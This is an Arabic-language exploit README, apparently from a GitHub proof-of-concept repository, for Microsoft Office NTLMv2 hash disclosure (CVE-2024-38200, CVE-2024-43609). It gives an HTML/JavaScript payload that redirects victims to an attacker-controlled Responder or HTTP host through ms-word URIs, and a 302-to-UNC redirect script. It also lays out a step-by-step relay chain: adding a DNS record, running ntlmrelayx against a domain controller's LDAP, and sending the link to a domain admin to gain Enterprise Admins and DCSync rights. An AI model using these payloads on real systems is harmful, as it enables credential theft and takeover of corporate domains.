passtheticket/cve-2024-38200CVE-2024-38200 وCVE-2024-43609 - ثغرة الإفصاح عن NTLMv2 في Microsoft Office
لم يتم إصلاح التقاط تجزئة NTLMv2 عبر بروتوكول HTTP. لا يزال من الممكن الحصول على قيمة تجزئة NTLMv2 عبر HTTP وترحيلها إلى LDAP أو ADCS. صرّح MSRC بأن هذا الوضع "كما هو معروض يبدو أنه جزء من التصميم الحالي."
حتى إذا تم إصلاح هذه الثغرة، وكما هو مذكور في قسم Integrated Windows Authentication، لا يزال من الممكن الحصول على قيمة التجزئة وترحيلها مع الإعدادات الافتراضية.
سابقًا، تمت مشاركة طريقة لالتقاط تجزئات NTLMv2 عبر SMB باستخدام مخططات عناوين URI الخاصة بـ Office. كانت الفكرة الرئيسية بسيطة. أرسل عنوان URL لملف HTML أدناه إلى الضحية والتقط تجزئة NTLMv2 عبر SMB. رابط
<!DOCTYPE html>
<html>
<script>
location.href = 'ms-word:ofe|u|\\<responder ip>\leak\leak.docx';
</script>
</html>
هذه هي نقطة الإلهام بالنسبة لي. إذا نظرنا إلى صفحة مخططات عناوين URI الخاصة بـ Office، يمكننا أن نرى استخدام بروتوكول https:// ضمن مخطط URI. يشير هذا الوضع إلى أن http:// يمكن استخدامه أيضًا. يعد التقاط تجزئة NTLMv2 عبر HTTP أكثر فائدة من التقاطها عبر SMB لتنفيذ هجوم ترحيل NTLM ضد خادم Domain Controller مخطط الترحيل.
عندما استخدمت URI بصيغة ms-word:ofe|u|http://test.local:8080/leak/leak.docx ضد Office 2016 MSO (16.0.4266.1001) 32-bit، ظهرت نافذة تحذير لحماية المستخدم من النشاط الضار ولكن لا يمكنني قول الشيء نفسه بالنسبة لـ Microsoft 365 Office and Office 2019. تصل هذه الإصدارات إلى ملف Office بعيد دون تحذير ويمكن استغلالها لالتقاط تجزئة NTLMv2 عبر بروتوكولي SMB وHTTP.
اكتشفت أن التصحيح الخاص بـ CVE-2024-38200 لم يتم تطبيقه بشكل صحيح. بعد نشر التصحيح، اختبرت الثغرة ضد Office 2019 Volume Licensed: Version 1808 (Build 10413.20020) و Microsoft 365 MSO 2408 Build 16.0.17928.20114 وتبين أن الثغرة لا تزال قابلة للاستغلال كما هو موضح أدناه CVE-2024-43609 .
يمكننا إعادة توجيه طلب HTTP إلى مسار UNC مع إعادة توجيه 302 عندما يقوم تطبيق Office بتقديم طلب عبر مخططات عناوين URI الخاصة بـ Office (e.g., ms-word:ofe|u|http://172.20.10.8:8080/leak.docx) . يقوم سكربت uncredirect.py بمعالجة طلب HTTP الذي يتم إرساله بمخطط URI الخاص بـ MS Office وإعادة توجيهه إلى مسار UNC يتضمن عنوان IP الخاص بـ Responder. هذا الوضع سيجعل من الممكن التقاط تجزئة NTLMv2 عبر SMB وتجاوز القيود الأمنية لـ URI بصيغة ms-word:ofe|u|\\<responder ip>\leak\leak.docx.
uncredirect.py وresponder.office.html إلى المستخدم الضحية.https://github.com/user-attachments/assets/2d2d19ad-6142-4b57-8958-16ba2cd62f04
يعد التقاط تجزئة NTLMv2 عبر HTTP أكثر فائدة من التقاطها عبر SMB من أجل ترحيل LDAP. عندما يتم طلب ملف عبر URI خاص بـ Office، يمكن الحصول على تجزئة NTLMv2 عبر HTTP دون إعادة توجيه إلى مسار UNC باستخدام إعادة توجيه 302. لا يمكن تنفيذ هذه الطريقة عبر الإنترنت لأنه، ما لم يكن هناك خطأ في الإعدادات في Internet Properties، لن يحدث مصادقة NTLM عبر HTTP لمضيف خارج الشبكة المؤسسية.
ومع ذلك، أعتقد أن هذه طريقة فعالة لهجوم الترحيل وتصعيد الامتيازات.
تؤثر إعدادات "Internet Properties" على سلوك مصادقة NTLM لتطبيقات Office. يمكننا رؤية ذلك من خلال بعض الأمثلة. لنفترض أننا نستخدم صيغة URI التالية ms-excel:ofe|u|http://192.168.1.7/leak.xlsx لالتقاط تجزئة NTLMv2.
عندما يتم تطبيق أحد سياسات GPO المدرجة أدناه على جهاز ضحية مرتبط بالمجال، يقوم تطبيق Office بإجراء المصادقة تلقائيًا.
Automatic logon with current user name and password لـ User Authentication في Internet ZoneLocal Intranet (e.g., 192.168.*.* , 192.168.0-255.* , 192.168.1.7)Trusted sites (e.g., 192.168.*.* , 192.168.0-255.* , 192.168.1.7) ويتم تعيين خيار Automatic logon with current user name and password لـ User Authentication في منطقة Trusted Sites
في حالة تطبيق أحد سياسات GPO المذكورة أعلاه، بعد أن ينقر المستخدم الضحية على URI، سيتم جلب ملف leak.docx بواسطة تطبيق Office من خادم المهاجم وسيتم الحصول على تجزئة NTLMv2 لأن سياسة GPO المطبقة تتسبب في حدوث مصادقة NTLM تلقائيًا.
مثال لسيناريو إساءة استخدام GPO:
بعد تعيين URI الخاص بـ Office مع عنوان IP (e.g., ms-excel:ofe|u|http://192.168.1.7/leak.xlsx)، يمكننا إرسال عنوان URL لملف office.html إلى مستخدم بصلاحيات مسؤول المجال وترحيل التجزئة التي تم التقاطها إلى خادم LDAP(S) باستخدام ntlmrelayx. سيقوم ntlmrelayx بإنشاء مستخدم جديد وإضافته إلى مجموعة Enterprise Admins بمجرد النقر على زر "Open".
ملاحظة:
يمكن سرد المواقع المضافة عبر GPO باستخدام مفاتيح التسجيل التالية.
Get-ItemProperty "hkcu:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
Get-ItemProperty "hklm:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
0: Internet | 1: Local Intranet | 2: Trusted Sites | 3: Restricted Sites
إذا لم يتم تطبيق أحد سياسات GPO المذكورة أعلاه، فلن تحدث مصادقة NTLM تلقائيًا. ومع ذلك، إذا أضفنا سجل DNS من النوع A واستخدمنا هذا السجل داخل URI الخاص بـ Office، فستعتبر Windows اسم المضيف جزءًا من منطقة Intranet. بهذه الطريقة، تحدث مصادقة NTLMv2 تلقائيًا ويمكن لمستخدم عادي تصعيد الامتيازات دون الحاجة إلى GPO تم تكوينه بشكل خاطئ. يمكن لأي مستخدم بالمجال بصلاحيات عادية إضافة سجل DNS غير موجود لذلك يعمل هذا الهجوم مع الإعدادات الافتراضية لمستخدم بالمجال.
office.html من أي خادم يمكن للمستخدم الضحية الوصول إليه (e.g., https://office.com/office.html) . قمت بتعيين المنفذ 8081 لـ Apache لأن ntlmrelayx سيستخدم المنفذ 80 افتراضيًا. يمكننا استخدام --http-port مع ntlmrelayx كخيار آخر. أدخل السجل المضاف في URI الخاص بـ Office داخل ملف office.html.
شغّل ntlmrelayx: python3 ntlmrelayx.py -t ldap://DC-IP-ADDRESS --escalate-user username
أرسل عنوان URL لملف office.html إلى مستخدم بصلاحيات مسؤول المجال. يجب عليك التحقق من تحليل سجل DNS باستخدام الأمر ping قبل إرسال URL.
عندما ينتقل المستخدم الضحية إلى عنوان URL، فإن النقر على زر 'Open' يكفي لالتقاط تجزئة NTLMv2. (بدون تحذير!)
يتم ترحيل تجزئة NTLMv2 التي تم التقاطها عبر HTTP إلى Domain Controller باستخدام ntlmrelayx. نتيجة لذلك، يمكن للمستخدم العادي الحصول على صلاحيات DCSync وEnterprise Admins في ظل التكوينات الافتراضية بنقرتين فقط.
https://github.com/user-attachments/assets/6fdbcd57-16aa-4497-810e-18e0a251e890